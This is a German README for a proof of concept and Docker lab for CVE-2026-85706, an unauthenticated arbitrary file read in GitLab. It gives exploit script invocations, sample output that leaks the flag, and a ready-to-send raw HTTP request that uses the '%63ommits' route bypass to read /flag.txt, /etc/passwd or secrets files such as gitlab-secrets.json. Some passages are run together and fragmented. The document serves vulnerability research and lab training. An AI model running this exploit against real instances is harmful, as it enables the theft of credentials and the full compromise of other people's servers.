
PoC und Docker-Lab für CVE-2026-85706, ein unauthentifizierter beliebiger Datei-Lesezugriff in GitLab CE/EE über die Umgehung der Commits-API-Route und den urlencodierten Fehlerkanal.
★ CVE-2026-85706 GitLab unauthentifizierte beliebige Dateilesung PoC ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706 ist eine unauthentifizierte beliebige Dateilesung in GitLab CE/EE (CVSS 10.0, CISA KEV) über
POST /api/v4/projects/:id/repository/commits, dessen Body-Upload-Helfer vorauthenticate!ausgeführt wird undparams['file.path']als absoluten Pfad ohne Einschränkung liest. Die URL-Kodierung eines Zeichens voncommits→%63ommitsbewirkt, dass GitLab-Workhorse die Route verfehlt (sodassfile.pathnie überschrieben wird), während Rails%63 → cweiterhin dekodiert und an den Handler weiterleitet — wodurch der Angreiferfile.pathüber den Query-String setzen kann. MitContent-Type=application/x-www-form-urlencodedparst der Helfer den Dateiinhalt erneut, und ein%, auf das nicht zwei Hex-Ziffern folgen, spiegelt diesen Inhalt im400-Body wider (Dateien ohne ein solches liefern nur ein401-Lese-Orakel). Erfordert mindestens ein öffentliches Projekt.
| Kategorie | Version |
|---|---|
| Anfällig | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| Gepatcht | 19.1.8 / 19.2.6 / 19.3.2 oder später (2026-09-10) |
% enthält (Anwendungsprotokolle sowie Konfigurationen/Zugangsdaten, die URL-kodierte Werte einbetten) → Recon + Diebstahl von Zugangsdaten → Verkettung zu authentifiziertem Zugriff / vollständige Kompromittierung der Instanzgitlab-secrets.json, database.yml); beachten Sie, dass reine Hex-/Base64-Dateien über den öffentlichen %-Reflexionskanal nur ein Existenz-Orakel liefern (kein ungültiges %-Byte, das das Echo auslöst)authenticate! vor dem Body-Upload-Helfer ein, sodass eine unauthentifizierte Anfrage abgelehnt wird, bevor die Dateilese-Senke erreicht wirdErstellen und starten Sie das anfällige GitLab CE. Beim Boot legt der Seeder /flag.txt an (mit einem
abschließenden %-Leak-Trigger) und erstellt ein öffentliches Projekt victim/public-app (Projekt-ID 1), damit die
Commits-API unauthentifiziert erreichbar ist. Der erste Boot dauert ~2–3 Minuten.
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
Die Flag ist ein Platzhalter (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Setzen Sie Ihre eigene zur
Laufzeit, ohne das Image zu bearbeiten: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.
| Vorbedingung | Zustand in diesem Lab |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| Mindestens ein öffentliches Projekt (anon erreicht die Commits-API) | victim/public-app (id 1), automatisch erstellt |
/api/v4/projects/:id/repository/commits unauthentifiziert erreichbar | exponiert |
| Flag auf dem Server-Dateisystem | /flag.txt (abschließender %-Reflexions-Trigger) |
Der Exploit gitlab_exploit.py liest eine Datei vom Server mit einer einzigen unauthentifizierten
Anfrage, unter Verwendung des %63ommits-Workhorse-Route-Bypasses und des urlencoded Re-Parse-Fehlerkanals.
Wählen Sie die Datei mit --read (Standard /flag.txt).
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
Optionen:
--read "<abs path>" — absoluter Dateipfad zum Lesen (Standard /flag.txt)--project <id> — öffentliche Projekt-ID, unauthentifiziert erreichbar (Standard 1)--check — nur bestätigen, dass die Dateilesen-Senke erreichbar ist (erwartet local file not present)Rohe Anfrage (für Burp Repeater):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
POST/PUT auf */repository/commits* und */repository/files* an einem Proxy/WAF und platzieren Sie die Instanz hinter SSO / VPN / einer IP-Allowlist